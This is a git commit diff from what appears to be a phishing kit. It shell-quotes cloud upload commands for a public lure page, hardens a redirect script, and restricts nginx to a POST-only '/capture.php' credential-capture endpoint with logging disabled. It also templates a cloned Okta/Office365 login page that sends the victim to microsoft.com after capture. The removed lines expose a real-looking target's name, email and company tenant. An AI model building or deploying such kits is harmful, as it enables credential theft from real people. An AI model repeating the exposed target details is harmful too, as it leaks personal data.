Fix P1/P2 audit findings: shell-escape upload cmds, parameterize okta PII, harden JS parsing, restrict PHP to capture.php, tojson redirect_url

This commit is contained in:
n0mad1k
2026-06-25 10:25:35 -04:00
parent 981a2b5720
commit 94b2a09803
5 changed files with 26 additions and 21 deletions
+9 -4
View File
@@ -1,5 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
import re import re
import shlex
from pathlib import Path from pathlib import Path
from urllib.parse import urlparse from urllib.parse import urlparse
from jinja2 import Environment, FileSystemLoader from jinja2 import Environment, FileSystemLoader
@@ -63,15 +64,19 @@ def post_deploy_generate_lander(config: dict) -> None:
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}") print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}") print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
qbucket = shlex.quote(bucket)
qhtml = shlex.quote(str(html_file))
qjs = shlex.quote(str(js_file))
if provider == 'gcs': if provider == 'gcs':
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}" public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html" upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
elif provider == 's3': elif provider == 's3':
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}" public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
upload_cmd = f"aws s3 cp {html_file} s3://{bucket}/index.html --acl public-read" upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
elif provider == 'azure': elif provider == 'azure':
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}" public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
upload_cmd = f"az storage blob upload -f {html_file} -c '$web' -n index.html --account-name {bucket}" upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
else: else:
public_url = f"<unknown provider: {provider}>" public_url = f"<unknown provider: {provider}>"
upload_cmd = "<unknown provider>" upload_cmd = "<unknown provider>"
@@ -82,7 +87,7 @@ def post_deploy_generate_lander(config: dict) -> None:
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}") print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}") print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
webserver_scp = f"scp {js_file} user@webserver:/var/www/phishing/static/jq.min.js" webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}") print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat # ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
+9 -5
View File
@@ -2,10 +2,14 @@
var u = new URLSearchParams(window.location.search); var u = new URLSearchParams(window.location.search);
var src = u.get('u') || ''; var src = u.get('u') || '';
var dest = {{ redirect_url | tojson }}; var dest = {{ redirect_url | tojson }};
if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) { try {
var params = new URLSearchParams(new URL(decodeURIComponent(src)).search); if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
var rid = params.get('rid') || params.get('RId'); var params = new URLSearchParams(new URL(src).search);
if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); var rid = params.get('rid') || params.get('RId');
} if (rid && rid.length <= 128) {
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
}
}
} catch (e) {}
window.location.replace(dest); window.location.replace(dest);
})(); })();
@@ -37,19 +37,15 @@ server {
access_log off; access_log off;
error_log /dev/null crit; error_log /dev/null crit;
# PHP processing # Credential capture — only POST to this exact path
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# Credential capture endpoint
location = /capture.php { location = /capture.php {
limit_except POST { deny all; } limit_except POST { deny all; }
include snippets/fastcgi-php.conf; include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
} }
# Deny all other PHP execution
location ~ \.php$ { deny all; }
# Template routing # Template routing
location /templates/ { location /templates/ {
@@ -99,7 +99,7 @@
<!-- hidden form for reposting fromURI for X509 auth --> <!-- hidden form for reposting fromURI for X509 auth -->
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide"> <form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="&#x2f;app&#x2f;office365&#x2f;exk1ufbfxuFLJp6y3697&#x2f;sso&#x2f;wsfed&#x2f;passive&#x3f;username&#x3d;Brian.Caldwell&#x25;40Zimperium.com&amp;wa&#x3d;wsignin1.0&amp;wtrealm&#x3d;urn&#x25;3afederation&#x25;3aMicrosoftOnline&amp;wctx&#x3d;"/> <input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&amp;wa=wsignin1.0&amp;wtrealm=urn%3afederation%3aMicrosoftOnline&amp;wctx="/>
</form> </form>
<div class="content"> <div class="content">
@@ -199,11 +199,11 @@
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg"> <script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
(function(){ (function(){
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com'; var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
var suppliedRedirectUri = ''; var suppliedRedirectUri = '';
var repost = false; var repost = false;
var stateToken = ''; var stateToken = '';
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D'; var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
var username = ''; var username = '';
var rememberMe = true; var rememberMe = true;
var smsRecovery = false; var smsRecovery = false;
@@ -218,7 +218,7 @@
.then(response => { .then(response => {
// Redirect after a delay to simulate processing // Redirect after a delay to simulate processing
setTimeout(() => { setTimeout(() => {
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}'; window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
}, 2000); }, 2000);
}) })
.catch(error => { .catch(error => {